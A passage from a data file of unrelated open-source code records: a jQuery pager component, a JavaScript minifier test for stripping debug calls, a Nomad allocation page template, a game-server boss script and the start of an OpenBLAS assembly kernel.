{},\n cutpoints: [\n {\n id: \"page-link:link\",\n selector: \"{that}.options.selectors.pageLinks\"\n },\n {\n id: \"page-link:skip\",\n selector: \"{that}.options.selectors.pageLinkSkip\"\n }\n ]\n },\n rendererFnOptions: {\n noexpand: true,\n templateSource: {node: \"{that}.dom.root\"},\n renderTarget: \"{that}.dom.root\"\n },\n events: {\n onRenderPageLinks: \"{pager}.events.onRenderPageLinks\"\n },\n listeners: {\n onCreate: {\n funcName: \"fluid.pager.renderedPageList.renderLinkBody\",\n args: [\"{that}.options.linkBody\", \"{that}.options.rendererOptions\"]\n }\n },\n modelListeners: {\n \"{pager}.model\": \"fluid.pager.renderedPageList.onModelChange({that}, {change}.value)\"\n },\n invokers: {\n produceTree: {\n funcName: \"fluid.identity\",\n args: \"{that}.pageTree\"\n },\n assembleComponent: {\n funcName: \"fluid.pager.renderedPageList.assembleComponent\",\n args: [\"{arguments}.0\", \"{arguments}.1\",\n \"{pager}.events.initiatePageChange\", \"{pagerBar}.options.styles.currentPage\", \"{pagerBar}.options.strings.currentPageIndexMsg\"]\n }\n },\n\n selectors: {\n root: \".flc-pager-links\",\n pageLinks: \"{pagerBar}.options.selectors.pageLinks\",\n pageLinkSkip: \"{pagerBar}.options.selectors.pageLinkSkip\"\n },\n strings: \"{pager}.options.strings\",\n linkBody: \"a\",\n pageStrategy: fluid.pager.everyPageStrategy\n });\n\n\n fluid.defaults(\"fluid.pager.previousNext\", {\n gradeNames: [\"fluid.viewComponent\"],\n members: {\n previous: \"{that}.dom.previous\",\n next: \"{that}.dom.next\"\n },\n selectors: {\n previous: \".flc-pager-previous\",\n next: \".flc-pager-next\"\n },\n listeners: {\n onCreate: [{\n funcName: \"fluid.pager.bindLinkClick\",\n args: [\"{that}.previous\", \"{pager}.events.initiatePageChange\", {relativePage: -1}]\n }, {\n funcName: \"fluid.pager.bindLinkClick\",\n args: [\"{that}.next\", \"{pager}.events.initiatePageChange\", {relativePage: +1}]\n }\n ]\n },\n modelListeners: {\n \"{pager}.model\": \"fluid.pager.previousNext.update({that}, {that}.options.styles.disabled, {change}.value)\"\n }\n });\n\n fluid.pager.previousNext.update = function (that, disabledStyle, newModel) {\n that.previous.toggleClass(disabledStyle, newModel.pageIndex === 0);\n that.next.toggleClass(disabledStyle, newModel.pageIndex === newModel.pageCount - 1);\n };\n\n fluid.defaults(\"fluid.pager.pagerBar\", {\n gradeNames: [\"fluid.viewComponent\"],\n components: {\n pageList: {\n type: \"fluid.pager.pageList\",\n container: \"{pagerBar}.container\",\n options: {\n selectors: {\n pageLinks: \"{pagerBar}.options.selectors.pageLinks\"\n },\n styles: \"{pagerBar}.options.styles\"\n }\n },\n previousNext: {\n type: \"fluid.pager.previousNext\",\n container: \"{pagerBar}.container\",\n options: {\n selectors: {\n previous: \"{pagerBar}.options.selectors.previous\",\n next: \"{pagerBar}.options.selectors.next\"\n },\n styles: \"{pagerBar}.options.styles\"\n }\n }\n },\n events: {\n initiatePageChange: null,\n onModelChange: null\n },\n\n selectors: {\n pageLinks: \".flc-pager-pageLink\",\n pageLinkSkip: \".flc-pager-pageLink-skip\",\n previous: \".flc-pager-previous\",\n next: \".flc-pager-next\"\n },\n\n styles: {\n currentPage: \"fl-pager-currentPage\",\n disabled: \"fl-pager-disabled\"\n },\n\n strings: {\n currentPageIndexMsg: \"Current page\"\n }\n });\n\n fluid.pager.summaryAria = function (element) {\n element.attr({\n \"aria-relevant\": \"all\",\n \"aria-atomic\": \"false\",\n \"aria-live\": \"assertive\",\n \"role\": \"status\"\n });\n };\n\n\n fluid.defaults(\"fluid.pager.summary\", {\n gradeNames: [\"fluid.viewComponent\"],\n listeners: {\n onCreate: {\n funcName: \"fluid.pager.summaryAria\",\n args: \"{that}.container\"\n }\n },\n modelListeners: {\n \"{pager}.model\": {\n funcName: \"fluid.pager.summary.onModelChange\",\n args: [\"{that}.container\", \"{that}.options.strings.message\", \"{change}.value\"]\n }\n }\n });\n\n fluid.pager.summary.onModelChange = function (node, message, newModel) {\n var text = fluid.stringTemplate(message, {\n first: newModel.pageIndex * newModel.pageSize + 1,\n last: fluid.pager.computePageLimit(newModel),\n total: newModel.totalRange,\n currentPage: newModel.pageIndex + 1\n });\n node.text(text);\n };\n\n fluid.defaults(\"fluid.pager.directPageSize\", {\n gradeNames: [\"fluid.viewComponent\"],\n listeners: {\n onCreate: {\n \"this\": \"{that}.container\",\n method: \"change\",\n args: {\n expander: {\n funcName: \"fluid.pager.directPageSize.onChange\",\n args: [\"{pager}.events.initiatePageSizeChange\", \"{that}.container\"]\n }\n }\n }\n },\n modelListeners: {\n \"{pager}.model.pageSize\": \"fluid.pager.updateNodeValue({that}.container, {change}.value)\"\n }\n });\n\n fluid.pager.directPageSize.onChange = function (initiatePageSizeChange, node) {\n // Annoying function-returning function since with current framework this must be an onCreate listener to perform jQuery binding -\n // replace with \"new renderer decorator system\" (FLUID-5047)\n return function () {\n initiatePageSizeChange.fire(node.val() || 1);\n };\n };\n\n // Although this is much better with the new ChangeApplier, it still also needs to be replaced with a FLUID-5047 view-binding system\n fluid.pager.updateNodeValue = function (node, value) {\n node.val(value);\n };\n\n fluid.pager.initiatePageChangeListener = function (that, arg) {\n var newPageIndex = arg.pageIndex;\n if (arg.relativePage !== undefined) {\n newPageIndex = that.model.pageIndex + arg.relativePage;\n }\n that.applier.change(\"pageIndex\", newPageIndex);\n };\n\n /*******************\n * Pager Component *\n *******************/\n\n fluid.defaults(\"fluid.pager\", {\n gradeNames: [\"fluid.viewComponent\"],\n events: {\n initiatePageChange: null,\n initiatePageSizeChange: null,\n onModelChange: null,\n onRenderPageLinks: null,\n afterRender: null\n },\n model: {\n pageIndex: 0,\n pageSize: 1,\n totalRange: {\n expander: {\n func: \"{that}.acquireDefaultRange\"\n }\n }\n },\n selectors: {\n pagerBar: \".flc-pager-top, .flc-pager-bottom\",\n summary: \".flc-pager-summary\",\n pageSize: \".flc-pager-page-size\"\n },\n\n strings: {\n last: \" (last)\"\n },\n\n markup: {\n rangeAnnotation: \"<b> %first </b><br/>&mdash;<br/><b> %last </b>\"\n },\n distributeOptions: {\n source: \"{that}.options.pageList\",\n removeSource: true,\n target: \"{that fluid.pager.pageList}\"\n },\n pageList: {\n type: \"fluid.pager.renderedPageList\",\n options: {\n pageStrategy: fluid.pager.gappedPageStrategy(3, 1)\n }\n },\n modelRelay: [{\n target: \"pageCount\",\n singleTransform: {\n type: \"fluid.transforms.free\",\n args: {\n \"totalRange\": \"{that}.model.totalRange\",\n \"pageSize\": \"{that}.model.pageSize\"\n },\n func: \"fluid.pager.computePageCount\"\n }\n }, {\n target: \"pageIndex\",\n singleTransform: {\n type: \"fluid.transforms.limitRange\",\n input: \"{that}.model.pageIndex\",\n min: 0,\n max: \"{that}.model.pageCount\",\n excludeMax: 1\n }\n }],\n modelListeners: {\n \"\": \"{that}.events.onModelChange.fire({change}.value, {change}.oldValue, {that})\"\n },\n listeners: {\n \"initiatePageChange.updatePageIndex\": {\n funcName: \"fluid.pager.initiatePageChangeListener\",\n args: [\"{that}\", \"{arguments}.0\"]\n },\n \"initiatePageSizeChange.updateModel\": {\n changePath: \"pageSize\",\n value: \"{arguments}.0\"\n }\n },\n invokers: {\n acquireDefaultRange: {\n // TODO: problem here - pagerBar, etc. are dynamic components and so cannot be constructed gingerly\n // This is why current (pre-FLUID-4925) framework must construct components before invokers\n funcName: \"fluid.identity\",\n args: \"{that}.pagerBar.pageList.defaultModel.totalRange\"\n }\n },\n dynamicComponents: {\n summary: {\n sources: \"{that}.dom.summary\",\n type: \"fluid.pager.summary\",\n container: \"{source}\",\n options: {\n strings: {\n message: \"Viewing page %currentPage. Showing records %first - %last of %total items.\"\n },\n events: {\n onModelChange: \"{pager}.events.onModelChange\"\n }\n }\n },\n pageSize: {\n sources: \"{that}.dom.pageSize\",\n type: \"fluid.pager.directPageSize\",\n container: \"{source}\"\n },\n pagerBar: {\n sources: \"{that}.dom.pagerBar\",\n type: \"fluid.pager.pagerBar\",\n container: \"{source}\",\n options: {\n strings: \"{pager}.options.strings\",\n events: {\n initiatePageChange: \"{pager}.events.initiatePageChange\",\n onModelChange: \"{pager}.events.onModelChange\"\n }\n }\n }\n }\n });\n\n})(jQuery, fluid_3_0_0);\n"} {"text": "// \"Web\" is the first identifier in one of the default lookup chains.\n// let's make sure the walk-up-the-chain code works if the AST members\n// end before the lookup chain ends\nWeb(\"web\");\n\nvar i = new Image();\n\nwhile(0)\n{\n $Debug.Write(\"nope\");\n}\nfor(var p in i)\n{\n $Debug.Write(p);\n}\nfor(var n=0; n < i.length; ++n)\n{\n $Debug.Write(n);\n}\ndo\n{\n $Debug.Write(i);\n}while(0);\n\ntry\n{\n i.src = \"foo\"; \n}\ncatch(e)\n{\n $Debug.Write(e);\n}\nfinally\n{\n n = i;\n}\n\n// ends in semicolon, no braces\nif ( !i )\n debugger;\n\n// no semicolon, other statement on next line\nif ( !i )\n{\n debugger\n i = null;\n}\n// no semicolon, next token a right-brace\nif ( !i ) { debugger }\n\n// this is a call to the Atlas framework debug namespace.\n// it should get stripped out with the -d option\nWeb.Debug.Write(\"foo\");\nWeb.Debug.ASSERT(\"foo\")();\n\n// an msn framework is also in the defaults\nMsn.Debug.Assert(\"message\");\n\n// same for this one\n$Debug.Write(\"arf\");\n\n// also trim any calls into the Debug namespace\nDebug.assertParam(\"foo\");\nDebug.assertType(\"foo\");\nDebug.assert(\"foo\");\nDebug.failIf(\"foo\");\nDebug.fail(\"foo\");\nDebug.writeLine(\"foo\");\n\n// also trim WAssert calls\nWAssert(\"blah\");\n\n// but this one is used as a constructor -- it should get\n// replaced with an empty object constructor\nvar foo = new $Debug.DebugWindow(1);\n\n///#DEBUG\n// we will skip these statements if we are stripping debug statements\nalert(\"DEBUG!\");\n///#ENDDEBUG\n\n//@cc_on\n//@if(@DEBUG)\nfoo(bar);\n//@end\n\n// some random calls that won't normally be stripped, but we'll use command-line switch\n// to turn some on or off\nFooBar.Write(\"this\");\nAckBar.Assert(\"wakka-wakka\");\n\n\n\n\n\n"} {"text": "{{title \"Allocation \" this.model.name}}\n<AllocationSubnav @allocation={{this.model}} />\n<section class=\"section\">\n {{#if this.error}}\n <div data-test-inline-error class=\"notification is-danger\">\n <div class=\"columns\">\n <div class=\"column\">\n <h3 data-test-inline-error-title class=\"title is-4\">{{this.error.title}}</h3>\n <p data-test-inline-error-body>{{this.error.description}}</p>\n </div>\n <div class=\"column is-centered is-minimum\">\n <button data-test-inline-error-close class=\"button is-danger\" onclick={{action this.onDismiss}} type=\"button\">Okay</button>\n </div>\n </div>\n </div>\n {{/if}}\n\n <h1 data-test-title class=\"title with-headroom with-flex\">\n <div>\n Allocation {{this.model.name}}\n <span class=\"bumper-left tag {{this.model.statusClass}}\">{{this.model.clientStatus}}</span>\n </div>\n <div>\n {{#if this.model.isRunning}}\n <div class=\"two-step-button\">\n <Exec::OpenButton @job={{this.model.job}} @allocation={{this.model}} />\n </div>\n <TwoStepButton\n data-test-stop\n @alignRight={{true}}\n @idleText=\"Stop\"\n @cancelText=\"Cancel\"\n @confirmText=\"Yes, Stop\"\n @confirmationMessage=\"Are you sure? This will reschedule the allocation on a different client.\"\n @awaitingConfirmation={{this.stopAllocation.isRunning}}\n @disabled={{or this.stopAllocation.isRunning this.restartAllocation.isRunning}}\n @onConfirm={{perform this.stopAllocation}} />\n <TwoStepButton\n data-test-restart\n @alignRight={{true}}\n @idleText=\"Restart\"\n @cancelText=\"Cancel\"\n @confirmText=\"Yes, Restart\"\n @confirmationMessage=\"Are you sure? This will restart the allocation in-place.\"\n @awaitingConfirmation={{this.restartAllocation.isRunning}}\n @disabled={{or this.stopAllocation.isRunning this.restartAllocation.isRunning}}\n @onConfirm={{perform this.restartAllocation}} />\n {{/if}}\n </div>\n </h1>\n\n <span class=\"tag is-hollow is-small is-alone no-text-transform\">\n {{this.model.id}}\n <CopyButton @clipboardText={{this.model.id}} />\n </span>\n\n <div class=\"boxed-section is-small\">\n <div data-test-allocation-details class=\"boxed-section-body inline-definitions\">\n <span class=\"label\">Allocation Details</span>\n <span class=\"pair job-link\"><span class=\"term\">Job</span>\n <LinkTo @route=\"jobs.job\" @model={{this.model.job}} @query={{hash jobNamespace=this.model.job.namespace.id}} data-test-job-link>{{this.model.job.name}}</LinkTo>\n </span>\n <span class=\"pair node-link\"><span class=\"term\">Client</span>\n <LinkTo @route=\"clients.client\" @model={{this.model.node}} data-test-client-link>{{this.model.node.shortId}}</LinkTo>\n </span>\n </div>\n </div>\n\n <div class=\"boxed-section\">\n <div class=\"boxed-section-head is-hollow\">\n Resource Utilization\n </div>\n <div class=\"boxed-section-body\">\n {{#if this.model.isRunning}}\n <div class=\"columns\">\n <div class=\"column\">\n <PrimaryMetric @resource={{this.model}} @metric=\"cpu\" />\n </div>\n <div class=\"column\">\n <PrimaryMetric @resource={{this.model}} @metric=\"memory\" />\n </div>\n </div>\n {{else}}\n <div data-test-resource-error class=\"empty-message\">\n <h3 data-test-resource-error-headline class=\"empty-message-headline\">Allocation isn't running</h3>\n <p class=\"empty-message-body\">Only running allocations utilize resources.</p>\n </div>\n {{/if}}\n </div>\n </div>\n\n <LifecycleChart @taskStates={{this.model.states}} />\n\n <div class=\"boxed-section\">\n <div class=\"boxed-section-head\">\n Tasks\n </div>\n <div class=\"boxed-section-body {{if this.sortedStates.length \"is-full-bleed\"}}\">\n {{#if this.sortedStates.length}}\n <ListTable\n @source={{this.sortedStates}}\n @sortProperty={{this.sortProperty}}\n @sortDescending={{this.sortDescending}}\n @class=\"is-striped\" as |t|>\n <t.head>\n <th class=\"is-narrow\"></th>\n <t.sort-by @prop=\"name\">Name</t.sort-by>\n <t.sort-by @prop=\"state\">State</t.sort-by>\n <th>Last Event</th>\n <t.sort-by @prop=\"events.lastObject.time\">Time</t.sort-by>\n <th>Volumes</th>\n <th>CPU</th>\n <th>Memory</th>\n </t.head>\n <t.body as |row|>\n <TaskRow\n @data-test-task-row={{row.model.name}}\n @task={{row.model}}\n @onClick={{action \"taskClick\" row.model.allocation row.model}} />\n </t.body>\n </ListTable>\n {{else}}\n <div data-test-empty-tasks-list class=\"empty-message\">\n <h3 data-test-empty-tasks-list-headline class=\"empty-message-headline\">No Tasks</h3>\n <p data-test-empty-tasks-list-body class=\"empty-message-body\">Allocations will not have tasks until they are in a running state.</p>\n </div>\n {{/if}}\n </div>\n </div>\n\n {{#if this.ports.length}}\n <div class=\"boxed-section\" data-test-allocation-ports>\n <div class=\"boxed-section-head\">\n Ports\n </div>\n <div class=\"boxed-section-body is-full-bleed\">\n <ListTable @source={{this.ports}} as |t|>\n <t.head>\n <th>Name</th>\n <th>Host Address</th>\n <th>Mapped Port</th>\n </t.head>\n <t.body as |row|>\n <tr data-test-allocation-port>\n <td data-test-allocation-port-name>{{row.model.label}}</td>\n <td data-test-allocation-port-address>\n <a href=\"http://{{row.model.hostIp}}:{{row.model.value}}\" target=\"_blank\" rel=\"noopener noreferrer\">{{row.model.hostIp}}:{{row.model.value}}</a>\n </td>\n <td data-test-allocation-port-to>{{row.model.to}}</td>\n </tr>\n </t.body>\n </ListTable>\n </div>\n </div>\n {{/if}}\n\n {{#if this.services.length}}\n <div class=\"boxed-section\">\n <div class=\"boxed-section-head\">\n Services\n </div>\n <div class=\"boxed-section-body is-full-bleed\">\n <ListTable @source={{this.services}} as |t|>\n <t.head>\n <th class=\"is-2\">Name</th>\n <th class=\"is-1\">Port</th>\n <td>Tags</td>\n <td>Connect?</td>\n <td>Upstreams</td>\n </t.head>\n <t.body as |row|>\n <tr data-test-service>\n <td data-test-service-name>{{row.model.name}}</td>\n <td data-test-service-port>{{row.model.portLabel}}</td>\n <td data-test-service-tags>{{join \", \" row.model.tags}}</td>\n <td data-test-service-connect>{{if row.model.connect \"Yes\" \"No\"}}</td>\n <td data-test-service-upstreams>\n {{#each row.model.connect.sidecarService.proxy.upstreams as |upstream|}}\n {{upstream.destinationName}}:{{upstream.localBindPort}}\n {{/each}}\n </td>\n </tr>\n </t.body>\n </ListTable>\n </div>\n </div>\n {{/if}}\n\n {{#if this.model.hasRescheduleEvents}}\n <div class=\"boxed-section\" data-test-reschedule-events>\n <div class=\"boxed-section-head is-hollow\">\n Reschedule Events\n </div>\n <div class=\"boxed-section-body\">\n <RescheduleEventTimeline @allocation={{this.model}} />\n </div>\n </div>\n {{/if}}\n\n {{#if this.model.wasPreempted}}\n <div class=\"boxed-section is-warning\" data-test-was-preempted>\n <div class=\"boxed-section-head\">Preempted By</div>\n <div class=\"boxed-section-body\">\n {{#if this.preempter}}\n <div class=\"boxed-section is-small\">\n <div class=\"boxed-section-body inline-definitions\">\n <span class=\"pair\">\n <span data-test-allocation-status class=\"tag {{this.preempter.statusClass}}\">\n {{this.preempter.clientStatus}}\n </span>\n </span>\n <span class=\"pair\">\n <span class=\"term\" data-test-allocation-name>{{this.preempter.name}}</span>\n <LinkTo @route=\"allocations.allocation\" @model={{this.preempter}} data-test-allocation-id>{{this.preempter.shortId}}</LinkTo>\n </span>\n <span class=\"pair job-link\"><span class=\"term\">Job</span>\n <LinkTo @route=\"jobs.job\" @model={{this.preempter.job}} @query={{hash jobNamespace=this.preempter.job.namespace.id}} data-test-job-link>{{this.preempter.job.name}}</LinkTo>\n </span>\n <span class=\"pair job-priority\"><span class=\"term\">Priority</span>\n <span data-test-job-priority>{{this.preempter.job.priority}}</span>\n </span>\n <span class=\"pair node-link\"><span class=\"term\">Client</span>\n <LinkTo @route=\"clients.client\" @model={{this.preempter.node}} data-test-client-link>{{this.preempter.node.shortId}}</LinkTo>\n </span>\n <span class=\"pair\"><span class=\"term\">Reserved CPU</span>\n <span data-test-allocation-cpu>{{this.preempter.resources.cpu}} MHz</span>\n </span>\n <span class=\"pair\"><span class=\"term\">Reserved Memory</span>\n <span data-test-allocation-memory>{{this.preempter.resources.memory}} MiB</span>\n </span>\n </div>\n </div>\n {{else}}\n <div class=\"empty-message\">\n <h3 class=\"empty-message-headline\">Allocation is gone</h3>\n <p class=\"empty-message-body\">This allocation has been stopped and garbage collected.</p>\n </div>\n {{/if}}\n </div>\n </div>\n {{/if}}\n\n {{#if (and this.model.preemptedAllocations.isFulfilled this.model.preemptedAllocations.length)}}\n <div class=\"boxed-section\" data-test-preemptions>\n <div class=\"boxed-section-head\">Preempted Allocations</div>\n <div class=\"boxed-section-body\">\n <ListTable\n @source={{this.model.preemptedAllocations}}\n @class=\"allocations is-isolated\" as |t|>\n <t.head>\n <th class=\"is-narrow\"></th>\n <th>ID</th>\n <th>Task Group</th>\n <th>Created</th>\n <th>Modified</th>\n <th>Status</th>\n <th>Version</th>\n <th>Node</th>\n <th>CPU</th>\n <th>Memory</th>\n </t.head>\n <t.body as |row|>\n <AllocationRow @allocation={{row.model}} @context=\"job\" @data-test-allocation={{row.model.id}} />\n </t.body>\n </ListTable>\n </div>\n </div>\n {{/if}}\n</section>\n"} {"text": "/* This file is part of the ScriptDev2 Project. See AUTHORS file for Copyright information\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n */\n\n/* ScriptData\nSDName: Boss_Amanitar\nSD%Complete: 80\nSDComment: Mushrooms summoning may need improvements;\nSDCategory: Ahn'kahet\nEndScriptData */\n\n#include \"precompiled.h\"\n#include \"ahnkahet.h\"\n\nenum\n{\n SPELL_BASH = 57094,\n SPELL_VENOM_BOLT_VOLLEY = 57088,\n SPELL_ENTANGLING_ROOTS = 57095,\n SPELL_MINI = 57055,\n SPELL_REMOVE_MUSHROOM_POWER = 57283, // purpose unk - this spell may remove the Mini aura from all players\n\n // Mushroom entries\n NPC_HEALTHY_MUSHROOM = 30391,\n NPC_POISONOUS_MUSHROOM = 30435,\n\n // Mushroom spells\n SPELL_POISON_CLOUD = 57061,\n SPELL_POTENT_FUNGUS = 56648,\n SPELL_POISON_MUSHROOM_VISUAL = 56741,\n SPELL_POWER_MUSHROOM_VISUAL = 56740,\n SPELL_MUSHROOM_FORM = 31690,\n};\n\nstatic const float aMushroomPos[3] = {362.8f, -869.16f, -75.03f};\n\n/*######\n## boss_amanitar\n######*/\n\nstruct boss_amanitarAI : public ScriptedAI\n{\n boss_amanitarAI(Creature* pCreature) : ScriptedAI(pCreature)\n {\n m_pInstance = (ScriptedInstance*)pCreature->GetInstanceData();\n Reset();\n }\n\n ScriptedInstance* m_pInstance;\n\n uint32 m_uiBashTimer;\n uint32 m_uiVenomBoltTimer;\n uint32 m_uiRootsTimer;\n uint32 m_uiMiniTimer;\n uint32 m_uiMushroomTimer;\n\n void Reset() override\n {\n m_uiBashTimer = urand(7000, 10000);\n m_uiVenomBoltTimer = urand(10000, 15000);\n m_uiRootsTimer = 20000;\n m_uiMiniTimer = urand(20000, 25000);\n m_uiMushroomTimer = urand(10000, 20000);\n }\n\n void Aggro(Unit* /*pWho*/) override\n {\n DoSummonMushrooms(true);\n\n if (m_pInstance)\n m_pInstance->SetData(TYPE_AMANITAR, IN_PROGRESS);\n }\n\n void JustDied(Unit* /*pKiller*/) override\n {\n if (m_pInstance)\n m_pInstance->SetData(TYPE_AMANITAR, DONE);\n }\n\n void JustReachedHome() override\n {\n if (m_pInstance)\n m_pInstance->SetData(TYPE_AMANITAR, FAIL);\n }\n\n void JustSummoned(Creature* pSummoned) override\n {\n if (pSummoned->GetEntry() == NPC_POISONOUS_MUSHROOM)\n pSummoned->CastSpell(pSummoned, SPELL_POISON_MUSHROOM_VISUAL, true);\n else if (pSummoned->GetEntry() == NPC_HEALTHY_MUSHROOM)\n pSummoned->CastSpell(pSummoned, SPELL_POWER_MUSHROOM_VISUAL, true);\n\n // ToDo: research if the mushrooms should have a grow effect!\n pSummoned->CastSpell(pSummoned, SPELL_MUSHROOM_FORM, true);\n }\n\n void SummonedCreatureJustDied(Creature* pSummoned) override\n {\n if (pSummoned->GetEntry() == NPC_POISONOUS_MUSHROOM)\n pSummoned->CastSpell(pSummoned, SPELL_POISON_CLOUD, true);\n else if (pSummoned->GetEntry() == NPC_HEALTHY_MUSHROOM)\n pSummoned->CastSpell(pSummoned, SPELL_POTENT_FUNGUS, true);\n }\n\n void DoSummonMushrooms(bool bIsFirstSummon)\n {\n // This implementation may not be 100% accurate;\n // On aggro boss summons about 20 mushrooms; On timer it summons about 5 mushrooms per turn\n // There is a 33% chance that the mushroom will be healthy\n // The summon position is based on the center of the area coords\n\n float fX, fY, fZ;\n uint32 uiMaxMushrooms = bIsFirstSummon ? 20 : 5;\n\n for (uint8 i = 0; i < uiMaxMushrooms; ++i)\n {\n uint32 uiMushroomEntry = roll_chance_i(33) ? NPC_HEALTHY_MUSHROOM : NPC_POISONOUS_MUSHROOM;\n m_creature->GetRandomPoint(aMushroomPos[0], aMushroomPos[1], aMushroomPos[2], 30.0f, fX, fY, fZ);\n m_creature->SummonCreature(uiMushroomEntry, fX, fY, fZ, 0.0f, TEMPSUMMON_DEAD_DESPAWN, 0);\n }\n }\n\n void UpdateAI(const uint32 uiDiff) override\n {\n if (!m_creature->SelectHostileTarget() || !m_creature->getVictim())\n return;\n\n if (m_uiBashTimer < uiDiff)\n {\n if (DoCastSpellIfCan(m_creature->getVictim(), SPELL_BASH) == CAST_OK)\n m_uiBashTimer = urand(8000, 13000);\n }\n else\n m_uiBashTimer -= uiDiff;\n\n if (m_uiVenomBoltTimer < uiDiff)\n {\n if (DoCastSpellIfCan(m_creature, SPELL_VENOM_BOLT_VOLLEY) == CAST_OK)\n m_uiVenomBoltTimer = urand(15000, 20000);\n }\n else\n m_uiVenomBoltTimer -= uiDiff;\n\n if (m_uiRootsTimer < uiDiff)\n {\n if (Unit* pTarget = m_creature->SelectAttackingTarget(ATTACKING_TARGET_RANDOM, 0))\n {\n if (DoCastSpellIfCan(pTarget, SPELL_ENTANGLING_ROOTS) == CAST_OK)\n m_uiRootsTimer = urand(20000, 25000);\n }\n }\n else\n m_uiRootsTimer -= uiDiff;\n\n if (m_uiMiniTimer < uiDiff)\n {\n if (DoCastSpellIfCan(m_creature, SPELL_MINI) == CAST_OK)\n m_uiMiniTimer = 30000;\n }\n else\n m_uiMiniTimer -= uiDiff;\n\n if (m_uiMushroomTimer < uiDiff)\n {\n DoSummonMushrooms(false);\n m_uiMushroomTimer = urand(10000, 20000);\n }\n else\n m_uiMushroomTimer -= uiDiff;\n\n // ToDo: Research if he requires out of combat area evade check\n\n DoMeleeAttackIfReady();\n }\n};\n\nCreatureAI* GetAI_boss_amanitar(Creature* pCreature)\n{\n return new boss_amanitarAI(pCreature);\n}\n\n/*######\n## npc_amanitar_mushroom\n######*/\n\nstruct npc_amanitar_mushroomAI : public Scripted_NoMovementAI\n{\n npc_amanitar_mushroomAI(Creature* pCreature) : Scripted_NoMovementAI(pCreature) { Reset(); }\n\n void Reset() override { }\n\n void AttackStart(Unit* /*pWho*/) override { }\n void MoveInLineOfSight(Unit* /*pWho*/) override { }\n void UpdateAI(const uint32 /*uiDiff*/) override { }\n};\n\nCreatureAI* GetAI_npc_amanitar_mushroom(Creature* pCreature)\n{\n return new npc_amanitar_mushroomAI(pCreature);\n}\n\nvoid AddSC_boss_amanitar()\n{\n Script* pNewScript;\n\n pNewScript = new Script;\n pNewScript->Name = \"boss_amanitar\";\n pNewScript->GetAI = &GetAI_boss_amanitar;\n pNewScript->RegisterSelf();\n\n pNewScript = new Script;\n pNewScript->Name = \"npc_amanitar_mushroom\";\n pNewScript->GetAI = &GetAI_npc_amanitar_mushroom;\n pNewScript->RegisterSelf();\n}\n"} {"text": "/*********************************************************************/\n/* Copyright 2009, 2010 The University of Texas at Austin. */\n/* All rights reserved. */\n/* */\n/* Redistribution and use in source and binary forms, with or */\n/* without modification, are permitted provided that the following */\n/* conditions are met: */\n/* */\n/* 1. Redistributions of source code must retain the above */\n/* copyright notice, this list of conditions and the following */\n/* disclaimer. */\n/* */\n/* 2. Redistributions in binary form must reproduce the above */\n/* copyright notice, this list of conditions and the following */\n/* disclaimer in the documentation and/or other materials */\n/* provided with the distribution. */\n/* */\n/* THIS SOFTWARE IS PROVIDED BY THE UNIVERSITY OF TEXAS AT */\n/* AUSTIN ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, */\n/* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF */\n/* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */\n/* DISCLAIMED. IN NO EVENT SHALL THE UNIVERSITY OF TEXAS AT */\n/* AUSTIN OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, */\n/* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES */\n/* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE */\n/* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR */\n/* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF */\n/* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */\n/* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT */\n/* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE */\n/* POSSIBILITY OF SUCH DAMAGE. */\n/* */\n/* The views and conclusions contained in the software and */\n/* documentation are those of the authors and should not be */\n/* interpreted as representing official policies, either expressed */\n/* or implied, of The University of Texas at Austin. */\n/*********************************************************************/\n\n#define ASSEMBLER\n#include \"common.h\"\n\n#define STACK\t16\n#define ARGS\t 0\n\t\n#define STACK_M\t 4 + STACK + ARGS(%esi)\n#define STACK_N\t 8 + STACK + ARGS(%esi)\n#define STACK_K\t12 + STACK + ARGS(%esi)\n#define STACK_ALPHA_R\t16 + STACK + ARGS(%esi)\n#define STACK_ALPHA_I\t20 + STACK + ARGS(%esi)\n#define STACK_A\t24 + STACK + ARGS(%esi)\n#define STACK_B\t28 + STACK + ARGS(%esi)\n#define STACK_C\t32 + STACK + ARGS(%esi)\n#define STACK_LDC\t36 + STACK + ARGS(%esi)\n#define STACK_OFFT\t40 + STACK + ARGS(%esi)\n\n#define POSINV\t 0(%esp)\n#define ALPHA_R\t16(%esp)\n#define ALPHA_I\t32(%esp)\n#define K\t48(%esp)\n#define N\t52(%esp)\n#define M\t56(%esp)\n#define A\t60(%esp)\n#define C\t64(%esp)\n#define J\t68(%esp)\n#define OLD_STACK 72(%esp)\n#define OFFSET 76(%esp)\n#define KK\t80(%esp)\n#define KKK\t84(%esp)\n#define BUFFER 128(%esp)\n\n#define B\t%edi\n#define\tLDC\t%ebp\n#define AA\t%edx\n#define BB\t%ecx\n\n#ifdef PENTIUM4\n#define PREFETCH prefetcht0\n#define PREFETCHSIZE 168\n#endif\n\n#ifdef PENTIUMM\n#define PREFETCH prefetcht0\n#define PREFETCHSIZE 168\n#endif\n\n#if defined(NN) || defined(NT) || defined(TN) || defined(TT) || \\\n defined(RN) || defined(RT) || defined(CN) || defined(CT)\n#define ADDSUB\taddps\n#else\n#define ADDSUB\tsubps\n#endif\n\n#define KERNEL1(address) \\\n\tmulps\t%xmm0, %xmm2; \\\n\tPREFETCH (PREFETCHSIZE + 0) * SIZE + 1 * (address) * SIZE(AA); \\\n\taddps\t%xmm2, %xmm4; \\\n\tmovshdup 0 * SIZE + 2 * (address) * SIZE(BB), 